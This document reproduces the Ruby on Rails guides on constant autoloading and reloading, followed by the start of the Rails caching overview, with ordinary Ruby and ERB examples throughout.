1 Introduction

Ruby on Rails allows applications to be written as if their code was preloaded.

In a normal Ruby program classes need to load their dependencies:

require 'application_controller'
require 'post'

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

Our Rubyist instinct quickly sees some redundancy in there: If classes were defined in files matching their name, couldn't their loading be automated somehow? We could save scanning the file for dependencies, which is brittle.

Moreover, Kernel#require loads files once, but development is much more smooth if code gets refreshed when it changes without restarting the server. It would be nice to be able to use Kernel#load in development, and Kernel#require in production.

Indeed, those features are provided by Ruby on Rails, where we just write

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

This guide documents how that works.

2 Constants Refresher

While constants are trivial in most programming languages, they are a rich topic in Ruby.

It is beyond the scope of this guide to document Ruby constants, but we are nevertheless going to highlight a few key topics. Truly grasping the following sections is instrumental to understanding constant autoloading and reloading.

2.1 Nesting

Class and module definitions can be nested to create namespaces:

module XML
class SAXParser
# (1)
end
end

The nesting at any given place is the collection of enclosing nested class and module objects outwards. The nesting at any given place can be inspected with Module.nesting. For example, in the previous example, the nesting at (1) is

[XML::SAXParser, XML]

It is important to understand that the nesting is composed of class and module objects, it has nothing to do with the constants used to access them, and is also unrelated to their names.

For instance, while this definition is similar to the previous one:

class XML::SAXParser
# (2)
end

the nesting in (2) is different:

[XML::SAXParser]

XML does not belong to it.

We can see in this example that the name of a class or module that belongs to a certain nesting does not necessarily correlate with the namespaces at the spot.

Even more, they are totally independent, take for instance

module X
module Y
end
end

module A
module B
end
end

module X::Y
module A::B
# (3)
end
end

The nesting in (3) consists of two module objects:

[A::B, X::Y]

So, it not only doesn't end in A, which does not even belong to the nesting, but it also contains X::Y, which is independent from A::B.

The nesting is an internal stack maintained by the interpreter, and it gets modified according to these rules:

- The class object following a class keyword gets pushed when its body is executed, and popped after it.

- The module object following a module keyword gets pushed when its body is executed, and popped after it.

- A singleton class opened with class << object gets pushed, and popped later.

- When instance_eval is called using a string argument, the singleton class of the receiver is pushed to the nesting of the eval'ed code. When class_eval or module_eval is called using a string argument, the receiver is pushed to the nesting of the eval'ed code.

- The nesting at the top-level of code interpreted by Kernel#load is empty unless the load call receives a true value as second argument, in which case a newly created anonymous module is pushed by Ruby.

It is interesting to observe that blocks do not modify the stack. In particular the blocks that may be passed to Class.new and Module.new do not get the class or module being defined pushed to their nesting. That's one of the differences between defining classes and modules in one way or another.

2.2 Class and Module Definitions are Constant Assignments

Let's suppose the following snippet creates a class (rather than reopening it):

class C
end

Ruby creates a constant C in Object and stores in that constant a class object. The name of the class instance is "C", a string, named after the constant.

That is,

class Project < ApplicationRecord
end

performs a constant assignment equivalent to

Project = Class.new(ApplicationRecord)

including setting the name of the class as a side-effect:

Project.name # => "Project"

Constant assignment has a special rule to make that happen: if the object being assigned is an anonymous class or module, Ruby sets the object's name to the name of the constant.

From then on, what happens to the constant and the instance does not matter. For example, the constant could be deleted, the class object could be assigned to a different constant, be stored in no constant anymore, etc. Once the name is set, it doesn't change.

Similarly, module creation using the module keyword as in

module Admin
end

performs a constant assignment equivalent to

Admin = Module.new

including setting the name as a side-effect:

Admin.name # => "Admin"

The execution context of a block passed to Class.new or Module.new is not entirely equivalent to the one of the body of the definitions using the class and module keywords. But both idioms result in the same constant assignment.

Thus, when one informally says "the String class", that really means: the class object stored in the constant called "String" in the class object stored in the Object constant. String is otherwise an ordinary Ruby constant and everything related to constants such as resolution algorithms applies to it.

Likewise, in the controller

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

Post is not syntax for a class. Rather, Post is a regular Ruby constant. If all is good, the constant is evaluated to an object that responds to all.

That is why we talk about constant autoloading, Rails has the ability to load constants on the fly.

2.3 Constants are Stored in Modules

Constants belong to modules in a very literal sense. Classes and modules have a constant table; think of it as a hash table.

Let's analyze an example to really understand what that means. While common abuses of language like "the String class" are convenient, the exposition is going to be precise here for didactic purposes.

Let's consider the following module definition:

module Colors
RED = '0xff0000'
end

First, when the module keyword is processed, the interpreter creates a new entry in the constant table of the class object stored in the Object constant. Said entry associates the name "Colors" to a newly created module object. Furthermore, the interpreter sets the name of the new module object to be the string "Colors".

Later, when the body of the module definition is interpreted, a new entry is created in the constant table of the module object stored in the Colors constant. That entry maps the name "RED" to the string "0xff0000".

In particular, Colors::RED is totally unrelated to any other RED constant that may live in any other class or module object. If there were any, they would have separate entries in their respective constant tables.

Pay special attention in the previous paragraphs to the distinction between class and module objects, constant names, and value objects associated to them in constant tables.

2.4 Resolution Algorithms

2.4.1 Resolution Algorithm for Relative Constants

At any given place in the code, let's define cref to be the first element of the nesting if it is not empty, or Object otherwise.

Without getting too much into the details, the resolution algorithm for relative constant references goes like this:

1. If the nesting is not empty the constant is looked up in its elements and in order. The ancestors of those elements are ignored.

2. If not found, then the algorithm walks up the ancestor chain of the cref.

3. If not found and the cref is a module, the constant is looked up in Object.

4. If not found, const_missing is invoked on the cref. The default implementation of const_missing raises NameError, but it can be overridden.

Rails autoloading does not emulate this algorithm, but its starting point is the name of the constant to be autoloaded, and the cref. See more in Relative References.

2.4.2 Resolution Algorithm for Qualified Constants

Qualified constants look like this:

Billing::Invoice

Billing::Invoice is composed of two constants: Billing is relative and is resolved using the algorithm of the previous section.

Leading colons would make the first segment absolute rather than relative: ::Billing::Invoice. That would force Billing to be looked up only as a top-level constant.

Invoice on the other hand is qualified by Billing and we are going to see its resolution next. Let's define parent to be that qualifying class or module object, that is, Billing in the example above. The algorithm for qualified constants goes like this:

1. The constant is looked up in the parent and its ancestors.

2. If the lookup fails, const_missing is invoked in the parent. The default implementation of const_missing raises NameError, but it can be overridden.

As you see, this algorithm is simpler than the one for relative constants. In particular, the nesting plays no role here, and modules are not special-cased, if neither they nor their ancestors have the constants, Object is not checked.

Rails autoloading does not emulate this algorithm, but its starting point is the name of the constant to be autoloaded, and the parent. See more in Qualified References.

3 Vocabulary

3.1 Parent Namespaces

Given a string with a constant path we define its parent namespace to be the string that results from removing its rightmost segment.

For example, the parent namespace of the string "A::B::C" is the string "A::B", the parent namespace of "A::B" is "A", and the parent namespace of "A" is "".

The interpretation of a parent namespace when thinking about classes and modules is tricky though. Let's consider a module M named "A::B":

- The parent namespace, "A", may not reflect nesting at a given spot.

- The constant A may no longer exist, some code could have removed it from Object.

- If A exists, the class or module that was originally in A may not be there anymore. For example, if after a constant removal there was another constant assignment there would generally be a different object in there.

- In such case, it could even happen that the reassigned A held a new class or module called also "A"!

- In the previous scenarios M would no longer be reachable through A::B but the module object itself could still be alive somewhere and its name would still be "A::B".

The idea of a parent namespace is at the core of the autoloading algorithms and helps explain and understand their motivation intuitively, but as you see that metaphor leaks easily. Given an edge case to reason about, take always into account that by "parent namespace" the guide means exactly that specific string derivation.

3.2 Loading Mechanism

Rails autoloads files with Kernel#load when config.cache_classes is false, the default in development mode, and with Kernel#require otherwise, the default in production mode.

Kernel#load allows Rails to execute files more than once if constant reloading is enabled.

This guide uses the word "load" freely to mean a given file is interpreted, but the actual mechanism can be Kernel#load or Kernel#require depending on that flag.

4 Autoloading Availability

Rails is always able to autoload provided its environment is in place. For example the runner command autoloads:

$ bin/rails runner 'p User.column_names'
["id", "email", "created_at", "updated_at"]

The console autoloads, the test suite autoloads, and of course the application autoloads.

By default, Rails eager loads the application files when it boots in production mode, so most of the autoloading going on in development does not happen. But autoloading may still be triggered during eager loading.

For example, given

class BeachHouse < House
end

if House is still unknown when app/models/beach_house.rb is being eager loaded, Rails autoloads it.

5 autoload_paths

As you probably know, when require gets a relative file name:

require 'erb'

Ruby looks for the file in the directories listed in $LOAD_PATH. That is, Ruby iterates over all its directories and for each one of them checks whether they have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds any of them, the interpreter loads it and ends the search. Otherwise, it tries again in the next directory of the list. If the list gets exhausted, LoadError is raised.

We are going to cover how constant autoloading works in more detail later, but the idea is that when a constant like Post is hit and missing, if there's a post.rb file for example in app/models Rails is going to find it, evaluate it, and have Post defined as a side-effect.

Alright, Rails has a collection of directories similar to $LOAD_PATH in which to look up post.rb. That collection is called autoload_paths and by default it contains:

- All subdirectories of app in the application and engines present at boot time. For example, app/controllers. They do not need to be the default ones, any custom directories like app/workers belong automatically to autoload_paths.

- Any existing second level directories called app/*/concerns in the application and engines.

- The directory test/mailers/previews.

Also, this collection is configurable via config.autoload_paths. For example, lib was in the list years ago, but no longer is. An application can opt-in by adding this to config/application.rb:

config.autoload_paths << "#{Rails.root}/lib"

config.autoload_paths is not changeable from environment-specific configuration files.

The value of autoload_paths can be inspected. In a just generated application it is (edited):

$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
.../app/assets
.../app/controllers
.../app/helpers
.../app/mailers
.../app/models
.../app/controllers/concerns
.../app/models/concerns
.../test/mailers/previews

autoload_paths is computed and cached during the initialization process. The application needs to be restarted to reflect any changes in the directory structure.

6 Autoloading Algorithms

6.1 Relative References

A relative constant reference may appear in several places, for example, in

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

all three constant references are relative.

6.1.1 Constants after the class and module Keywords

Ruby performs a lookup for the constant that follows a class or module keyword because it needs to know if the class or module is going to be created or reopened.

If the constant is not defined at that point it is not considered to be a missing constant, autoloading is not triggered.

So, in the previous example, if PostsController is not defined when the file is interpreted Rails autoloading is not going to be triggered, Ruby will just define the controller.

6.1.2 Top-Level Constants

On the contrary, if ApplicationController is unknown, the constant is considered missing and an autoload is going to be attempted by Rails.

In order to load ApplicationController, Rails iterates over autoload_paths. First it checks if app/assets/application_controller.rb exists. If it does not, which is normally the case, it continues and finds app/controllers/application_controller.rb.

If the file defines the constant ApplicationController all is fine, otherwise LoadError is raised:

unable to autoload constant ApplicationController, expected
<full path to application_controller.rb> to define it (LoadError)

Rails does not require the value of autoloaded constants to be a class or module object. For example, if the file app/models/max_clients.rb defines MAX_CLIENTS = 100 autoloading MAX_CLIENTS works just fine.

6.1.3 Namespaces

Autoloading ApplicationController looks directly under the directories of autoload_paths because the nesting in that spot is empty. The situation of Post is different, the nesting in that line is [PostsController] and support for namespaces comes into play.

The basic idea is that given

module Admin
class BaseController < ApplicationController
@@all_roles = Role.all
end
end

to autoload Role we are going to check if it is defined in the current or parent namespaces, one at a time. So, conceptually we want to try to autoload any of

Admin::BaseController::Role
Admin::Role
Role

in that order. That's the idea. To do so, Rails looks in autoload_paths respectively for file names like these:

admin/base_controller/role.rb
admin/role.rb
role.rb

modulus some additional directory lookups we are going to cover soon.

'Constant::Name'.underscore gives the relative path without extension of the file name where Constant::Name is expected to be defined.

Let's see how Rails autoloads the Post constant in the PostsController above assuming the application has a Post model defined in app/models/post.rb.

First it checks for posts_controller/post.rb in autoload_paths:

app/assets/posts_controller/post.rb
app/controllers/posts_controller/post.rb
app/helpers/posts_controller/post.rb
...
test/mailers/previews/posts_controller/post.rb

Since the lookup is exhausted without success, a similar search for a directory is performed, we are going to see why in the next section:

app/assets/posts_controller/post
app/controllers/posts_controller/post
app/helpers/posts_controller/post
...
test/mailers/previews/posts_controller/post

If all those attempts fail, then Rails starts the lookup again in the parent namespace. In this case only the top-level remains:

app/assets/post.rb
app/controllers/post.rb
app/helpers/post.rb
app/mailers/post.rb
app/models/post.rb

A matching file is found in app/models/post.rb. The lookup stops there and the file is loaded. If the file actually defines Post all is fine, otherwise LoadError is raised.

6.2 Qualified References

When a qualified constant is missing Rails does not look for it in the parent namespaces. But there is a caveat: when a constant is missing, Rails is unable to tell if the trigger was a relative reference or a qualified one.

For example, consider

module Admin
User
end

and

Admin::User

If User is missing, in either case all Rails knows is that a constant called "User" was missing in a module called "Admin".

If there is a top-level User Ruby would resolve it in the former example, but wouldn't in the latter. In general, Rails does not emulate the Ruby constant resolution algorithms, but in this case it tries using the following heuristic:

If none of the parent namespaces of the class or module has the missing constant then Rails assumes the reference is relative. Otherwise qualified.

For example, if this code triggers autoloading

Admin::User

and the User constant is already present in Object, it is not possible that the situation is

module Admin
User
end

because otherwise Ruby would have resolved User and no autoloading would have been triggered in the first place. Thus, Rails assumes a qualified reference and considers the file admin/user.rb and directory admin/user to be the only valid options.

In practice, this works quite well as long as the nesting matches all parent namespaces respectively and the constants that make the rule apply are known at that time.

However, autoloading happens on demand. If by chance the top-level User was not yet loaded, then Rails assumes a relative reference by contract.

Naming conflicts of this kind are rare in practice, but if one occurs, require_dependency provides a solution by ensuring that the constant needed to trigger the heuristic is defined in the conflicting place.

6.3 Automatic Modules

When a module acts as a namespace, Rails does not require the application to define a file for it, a directory matching the namespace is enough.

Suppose an application has a back office whose controllers are stored in app/controllers/admin. If the Admin module is not yet loaded when Admin::UsersController is hit, Rails needs first to autoload the constant Admin.

If autoload_paths has a file called admin.rb Rails is going to load that one, but if there's no such file and a directory called admin is found, Rails creates an empty module and assigns it to the Admin constant on the fly.

6.4 Generic Procedure

Relative references are reported to be missing in the cref where they were hit, and qualified references are reported to be missing in their parent (see Resolution Algorithm for Relative Constants at the beginning of this guide for the definition of cref, and Resolution Algorithm for Qualified Constants for the definition of parent).

The procedure to autoload constant C in an arbitrary situation is as follows:

if the class or module in which C is missing is Object
let ns = ''
else
let M = the class or module in which C is missing

if M is anonymous
let ns = ''
else
let ns = M.name
end
end

loop do
# Look for a regular file.
for dir in autoload_paths
if the file "#{dir}/#{ns.underscore}/c.rb" exists
load/require "#{dir}/#{ns.underscore}/c.rb"

if C is now defined
return
else
raise LoadError
end
end
end

# Look for an automatic module.
for dir in autoload_paths
if the directory "#{dir}/#{ns.underscore}/c" exists
if ns is an empty string
let C = Module.new in Object and return
else
let C = Module.new in ns.constantize and return
end
end
end

if ns is empty
# We reached the top-level without finding the constant.
raise NameError
else
if C exists in any of the parent namespaces
# Qualified constants heuristic.
raise NameError
else
# Try again in the parent namespace.
let ns = the parent namespace of ns and retry
end
end
end

7 require_dependency

Constant autoloading is triggered on demand and therefore code that uses a certain constant may have it already defined or may trigger an autoload. That depends on the execution path and it may vary between runs.

There are times, however, in which you want to make sure a certain constant is known when the execution reaches some code. require_dependency provides a way to load a file using the current loading mechanism, and keeping track of constants defined in that file as if they were autoloaded to have them reloaded as needed.

require_dependency is rarely needed, but see a couple of use-cases in Autoloading and STI and When Constants aren't Triggered.

Unlike autoloading, require_dependency does not expect the file to define any particular constant. Exploiting this behavior would be a bad practice though, file and constant paths should match.

8 Constant Reloading

When config.cache_classes is false Rails is able to reload autoloaded constants.

For example, if you're in a console session and edit some file behind the scenes, the code can be reloaded with the reload! command:

> reload!

When the application runs, code is reloaded when something relevant to this logic changes. In order to do that, Rails monitors a number of things:

- config/routes.rb.

- Locales.

- Ruby files under autoload_paths.

- db/schema.rb and db/structure.sql.

If anything in there changes, there is a middleware that detects it and reloads the code.

Autoloading keeps track of autoloaded constants. Reloading is implemented by removing them all from their respective classes and modules using Module#remove_const. That way, when the code goes on, those constants are going to be unknown again, and files reloaded on demand.

This is an all-or-nothing operation, Rails does not attempt to reload only what changed since dependencies between classes makes that really tricky. Instead, everything is wiped.

9 Module#autoload isn't Involved

Module#autoload provides a lazy way to load constants that is fully integrated with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite transparent.

Rails internals make extensive use of it to defer as much work as possible from the boot process. But constant autoloading in Rails is not implemented with Module#autoload.

One possible implementation based on Module#autoload would be to walk the application tree and issue autoload calls that map existing file names to their conventional constant name.

There are a number of reasons that prevent Rails from using that implementation.

For example, Module#autoload is only capable of loading files using require, so reloading would not be possible. Not only that, it uses an internal require which is not Kernel#require.

Then, it provides no way to remove declarations in case a file is deleted. If a constant gets removed with Module#remove_const its autoload is not triggered again. Also, it doesn't support qualified names, so files with namespaces should be interpreted during the walk tree to install their own autoload calls, but those files could have constant references not yet configured.

An implementation based on Module#autoload would be awesome but, as you see, at least as of today it is not possible. Constant autoloading in Rails is implemented with Module#const_missing, and that's why it has its own contract, documented in this guide.

10 Common Gotchas

10.1 Nesting and Qualified Constants

Let's consider

module Admin
class UsersController < ApplicationController
def index
@users = User.all
end
end
end

and

class Admin::UsersController < ApplicationController
def index
@users = User.all
end
end

To resolve User Ruby checks Admin in the former case, but it does not in the latter because it does not belong to the nesting (see Nesting and Resolution Algorithms).

Unfortunately Rails autoloading does not know the nesting in the spot where the constant was missing and so it is not able to act as Ruby would. In particular, Admin::User will get autoloaded in either case.

Albeit qualified constants with class and module keywords may technically work with autoloading in some cases, it is preferable to use relative constants instead:

module Admin
class UsersController < ApplicationController
def index
@users = User.all
end
end
end

10.2 Autoloading and STI

Single Table Inheritance (STI) is a feature of Active Record that enables storing a hierarchy of models in one single table. The API of such models is aware of the hierarchy and encapsulates some common needs. For example, given these classes:

# app/models/polygon.rb
class Polygon < ApplicationRecord
end

# app/models/triangle.rb
class Triangle < Polygon
end

# app/models/rectangle.rb
class Rectangle < Polygon
end

Triangle.create creates a row that represents a triangle, and Rectangle.create creates a row that represents a rectangle. If id is the ID of an existing record, Polygon.find(id) returns an object of the correct type.

Methods that operate on collections are also aware of the hierarchy. For example, Polygon.all returns all the records of the table, because all rectangles and triangles are polygons. Active Record takes care of returning instances of their corresponding class in the result set.

Types are autoloaded as needed. For example, if Polygon.first is a rectangle and Rectangle has not yet been loaded, Active Record autoloads it and the record is correctly instantiated.

All good, but if instead of performing queries based on the root class we need to work on some subclass, things get interesting.

While working with Polygon you do not need to be aware of all its descendants, because anything in the table is by definition a polygon, but when working with subclasses Active Record needs to be able to enumerate the types it is looking for. Let’s see an example.

Rectangle.all only loads rectangles by adding a type constraint to the query:

SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle")

Let’s introduce now a subclass of Rectangle:

# app/models/square.rb
class Square < Rectangle
end

Rectangle.all should now return rectangles and squares:

SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle", "Square")

But there’s a caveat here: How does Active Record know that the class Square exists at all?

Even if the file app/models/square.rb exists and defines the Square class, if no code yet used that class, Rectangle.all issues the query

SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle")

That is not a bug, the query includes all known descendants of Rectangle.

A way to ensure this works correctly regardless of the order of execution is to load the leaves of the tree by hand at the bottom of the file that defines the root class:

# app/models/polygon.rb
class Polygon < ApplicationRecord
end
require_dependency ‘square’

Only the leaves that are at least grandchildren need to be loaded this way. Direct subclasses do not need to be preloaded. If the hierarchy is deeper, intermediate classes will be autoloaded recursively from the bottom because their constant will appear in the class definitions as superclass.

10.3 Autoloading and require

Files defining constants to be autoloaded should never be required:

require 'user' # DO NOT DO THIS

class UsersController < ApplicationController
...
end

There are two possible gotchas here in development mode:

1. If User is autoloaded before reaching the require, app/models/user.rb runs again because load does not update $LOADED_FEATURES.

2. If the require runs first Rails does not mark User as an autoloaded constant and changes to app/models/user.rb aren't reloaded.

Just follow the flow and use constant autoloading always, never mix autoloading and require. As a last resort, if some file absolutely needs to load a certain file use require_dependency to play nice with constant autoloading. This option is rarely needed in practice, though.

Of course, using require in autoloaded files to load ordinary 3rd party libraries is fine, and Rails is able to distinguish their constants, they are not marked as autoloaded.

10.4 Autoloading and Initializers

Consider this assignment in config/initializers/set_auth_service.rb:

AUTH_SERVICE = if Rails.env.production?
RealAuthService
else
MockedAuthService
end

The purpose of this setup would be that the application uses the class that corresponds to the environment via AUTH_SERVICE. In development mode MockedAuthService gets autoloaded when the initializer runs. Let’s suppose we do some requests, change its implementation, and hit the application again. To our surprise the changes are not reflected. Why?

As we saw earlier, Rails removes autoloaded constants, but AUTH_SERVICE stores the original class object. Stale, non-reachable using the original constant, but perfectly functional.

The following code summarizes the situation:

class C
def quack
'quack!'
end
end

X = C
Object.instance_eval { remove_const(:C) }
X.new.quack # => quack!
X.name      # => C
C           # => uninitialized constant C (NameError)

Because of that, it is not a good idea to autoload constants on application initialization.

In the case above we could implement a dynamic access point:

# app/models/auth_service.rb
class AuthService
if Rails.env.production?
def self.instance
RealAuthService
end
else
def self.instance
MockedAuthService
end
end
end

and have the application use AuthService.instance instead. AuthService would be loaded on demand and be autoload-friendly.

10.5 require_dependency and Initializers

As we saw before, require_dependency loads files in an autoloading-friendly way. Normally, though, such a call does not make sense in an initializer.

One could think about doing some require_dependency calls in an initializer to make sure certain constants are loaded upfront, for example as an attempt to address the gotcha with STIs.

Problem is, in development mode autoloaded constants are wiped if there is any relevant change in the file system. If that happens then we are in the very same situation the initializer wanted to avoid!

Calls to require_dependency have to be strategically written in autoloaded spots.

10.6 When Constants aren't Missed

10.6.1 Relative References

Let's consider a flight simulator. The application has a default flight model

# app/models/flight_model.rb
class FlightModel
end

that can be overridden by each airplane, for instance

# app/models/bell_x1/flight_model.rb
module BellX1
class FlightModel < FlightModel
end
end

# app/models/bell_x1/aircraft.rb
module BellX1
class Aircraft
def initialize
@flight_model = FlightModel.new
end
end
end

The initializer wants to create a BellX1::FlightModel and nesting has BellX1, that looks good. But if the default flight model is loaded and the one for the Bell-X1 is not, the interpreter is able to resolve the top-level FlightModel and autoloading is thus not triggered for BellX1::FlightModel.

That code depends on the execution path.

These kind of ambiguities can often be resolved using qualified constants:

module BellX1
class Plane
def flight_model
@flight_model ||= BellX1::FlightModel.new
end
end
end

Also, require_dependency is a solution:

require_dependency 'bell_x1/flight_model'

module BellX1
class Plane
def flight_model
@flight_model ||= FlightModel.new
end
end
end

10.6.2 Qualified References

Given

# app/models/hotel.rb
class Hotel
end

# app/models/image.rb
class Image
end

# app/models/hotel/image.rb
class Hotel
class Image < Image
end
end

the expression Hotel::Image is ambiguous because it depends on the execution path.

As we saw before, Ruby looks up the constant in Hotel and its ancestors. If app/models/image.rb has been loaded but app/models/hotel/image.rb hasn't, Ruby does not find Image in Hotel, but it does in Object:

$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
Image # NOT Hotel::Image!

The code evaluating Hotel::Image needs to make sure app/models/hotel/image.rb has been loaded, possibly with require_dependency.

In these cases the interpreter issues a warning though:

warning: toplevel constant Image referenced by Hotel::Image

This surprising constant resolution can be observed with any qualifying class:

2.1.5 :001 > String::Array
(irb):1: warning: toplevel constant Array referenced by String::Array
=> Array

To find this gotcha the qualifying namespace has to be a class, Object is not an ancestor of modules.

10.7 Autoloading within Singleton Classes

Let's suppose we have these class definitions:

# app/models/hotel/services.rb
module Hotel
class Services
end
end

# app/models/hotel/geo_location.rb
module Hotel
class GeoLocation
class << self
Services
end
end
end

If Hotel::Services is known by the time app/models/hotel/geo_location.rb is being loaded, Services is resolved by Ruby because Hotel belongs to the nesting when the singleton class of Hotel::GeoLocation is opened.

But if Hotel::Services is not known, Rails is not able to autoload it, the application raises NameError.

The reason is that autoloading is triggered for the singleton class, which is anonymous, and as we saw before, Rails only checks the top-level namespace in that edge case.

An easy solution to this caveat is to qualify the constant:

module Hotel
class GeoLocation
class << self
Hotel::Services
end
end
end

10.8 Autoloading in BasicObject

Direct descendants of BasicObject do not have Object among their ancestors and cannot resolve top-level constants:

class C < BasicObject
String # NameError: uninitialized constant C::String
end

When autoloading is involved that plot has a twist. Let's consider:

class C < BasicObject
def user
User # WRONG
end
end

Since Rails checks the top-level namespace User gets autoloaded just fine the first time the user method is invoked. You only get the exception if the User constant is known at that point, in particular in a second call to user:

c = C.new
c.user # surprisingly fine, User
c.user # NameError: uninitialized constant C::User

because it detects that a parent namespace already has the constant (see Qualified References).

As with pure Ruby, within the body of a direct descendant of BasicObject use always absolute constant paths:

class C < BasicObject
::String # RIGHT

def user
::User # RIGHT
end
end

Caching with Rails: An Overview — Ruby...

1 Basic Caching

This is an introduction to three types of caching techniques: page, action and fragment caching. By default Rails provides fragment caching. In order to use page and action caching you will need to add actionpack-page_caching and actionpack-action_caching to your Gemfile.

By default, caching is only enabled in your production environment. To play around with caching locally you'll want to enable caching in your local environment by setting config.action_controller.perform_caching to true in the relevant config/environments/*.rb file:

config.action_controller.perform_caching = true

Changing the value of config.action_controller.perform_caching will only have an effect on the caching provided by the Action Controller component. For instance, it will not impact low-level caching, that we address below.

1.1 Page Caching

Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or NGINX) without having to go through the entire Rails stack. While this is super fast it can't be applied to every situation (such as pages that need authentication). Also, because the webserver is serving a file directly from the filesystem you will need to implement cache expiration.

Page Caching has been removed from Rails 4. See the actionpack-page_caching gem.

1.2 Action Caching

Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.

Action Caching has been removed from Rails 4. See the actionpack-action_caching gem. See DHH's key-based cache expiration overview for the newly-preferred method.

1.3 Fragment Caching

Dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. When different parts of the page need to be cached and expired separately you can use Fragment Caching.

Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.

For example, if you wanted to cache each product on a page, you could use this code:

<% @products.each do |product| %>
<% cache product do %>
<%= render product %>
<% end %>
<% end %>

When your application receives its first request to this page, Rails will write a new cache entry with a unique key. A key looks something like this:

views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901

The number in the middle is the product_id followed by the timestamp value in the updated_at attribute of the product record. Rails uses the timestamp value to make sure it is not serving stale data. If the value of updated_at has changed, a new key will be generated. Then Rails will write a new cache to that key, and the old cache written to the old key will never be used again. This is called key-based expiration.

Cache fragments will also be expired when the view fragment changes (e.g., the HTML in the view changes). The string of characters at the end of the key is a template tree digest. It is an md5 hash computed based on the contents of the view fragment you are caching. If you change the view fragment, the md5 hash will change, expiring the existing file.

Cache stores like Memcached will automatically delete old cache files.

If you want to cache a fragment under certain conditions, you can use cache_if or cache_unless:

<% cache_if admin?, product do %>
<%= render product %>
<% end %>

1.3.1 Collection caching

The render helper can also cache individual templates rendered for a collection. It can even one up the previous example with each by reading all cache templates at once instead of one by one. This is done by passing cached: true when rendering the collection:

<%= render partial: 'products/product', collection: @products, cached: true %>

All cached templates from previous renders will be fetched at once with much greater speed. Additionally, the templates that haven't yet been cached will be written to cache and multi fetched on the next render.

1.4 Russian Doll Caching

You may want to nest cached fragments inside other cached fragments. This is called Russian doll caching.

The advantage of Russian doll caching is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.

As explained in the previous section, a cached file will expire if the value of updated_at changes for a record on which the cached file directly depends. However, this will not expire any cache the fragment is nested within.

For example, take the following view:

<% cache product do %>
<%= render product.games %>
<% end %>

Which in turn renders this view:

<% cache game do %>
<%= render game %>
<% end %>

If any attribute of game is changed, the updated_at value will be set to the current time, thereby expiring the cache. However, because updated_at will not be changed for the product object, that cache will not be expired and your app will serve stale data. To fix this, we tie the models together with the touch method:

class Product < ApplicationRecord
has_many :games
end

class Game < ApplicationRecord
belongs_to :product, touch: true
end

With touch set to true, any action which changes updated_at for a game record will also change it for the associated product, thereby expiring the cache.

1.5 Managing dependencies

In order to correctly invalidate the cache, you need to properly define the caching dependencies. Rails is clever enough to handle common cases so you don't have to specify anything. However, sometimes, when you're dealing with custom helpers for instance, you need to explicitly define them.

1.5.1 Implicit dependencies

Most template dependencies can be derived from calls to render in the template itself. Here are some examples of render calls that ActionView::Digestor knows how to decode:

render partial: "comments/comment", collection: commentable.comments
render "comments/comments"
render 'comments/comments'
render('comments/comments')

render "header" => render("comments/header")

render(@topic)         => render("topics/topic")
render(topics)         => render("topics/topic")
render(message.topics) => render("topics/topic")

On the other hand, some calls need to be changed to make caching work properly. For instance, if you're passing a custom collection, you'll need to change:

render @project.documents.where(published: true)

to:

render partial: "documents/document", collection: @project.documents.where(published: true)

1.5.2 Explicit dependencies

Sometimes you'll have template dependencies that can't be derived at all. This is typically the case when rendering happens in helpers. Here's an example:

<%= render_sortable_todolists @project.todolists %>

You'll need to use a special comment format to call those out:

<%# Template Dependency: todolists/todolist %>
<%= render_sortable_todolists @project.todolists %>

In some cases, like a single table inheritance setup, you might have a bunch of explicit dependencies. Instead of writing every template out, you can use a wildcard to match any template in a directory:

<%# Template Dependency: events/* %>
<%= render_categorizable_events @person.events %>

As for collection caching, if the partial template doesn't start with a clean cache call, you can still benefit from collection caching by adding a special comment format anywhere in the template, like:

<%# Template Collection: notification %>
<% my_helper_that_calls_cache(some_arg, notification) do %>
<%= notification.name %>
<% end %>

1.5.3 External dependencies

If you use a helper method, for example, inside a cached block and you then update that helper, you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file must change. One recommendation is to simply be explicit in a comment, like:

<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
<%= some_helper_method(person) %>

1.6 Low-Level Caching

Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing any kind of information.

The most efficient way to implement low-level caching is using the Rails.cache.fetch method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, the result of the block will be cached to the given key and the result is returned.

Consider the following example. An application has a Product model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching:

class Product < ApplicationRecord
def competing_price
Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
Competitor::API.find_price(id)
end
end
end

Notice that in this example we used the cache_key method, so the resulting cache-key will be something like products/233-20140225082222765838000/competing_price. cache_key generates a string based on the model’s id and updated_at attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.

1.7 SQL Caching

Query caching is a Rails feature that caches the result set returned by each query. If Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.

For example:

class ProductsController < ApplicationController

def index
# Run a find query
@products = Product.all

...

# Run the same query again
@products = Product.all
end

end

The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.

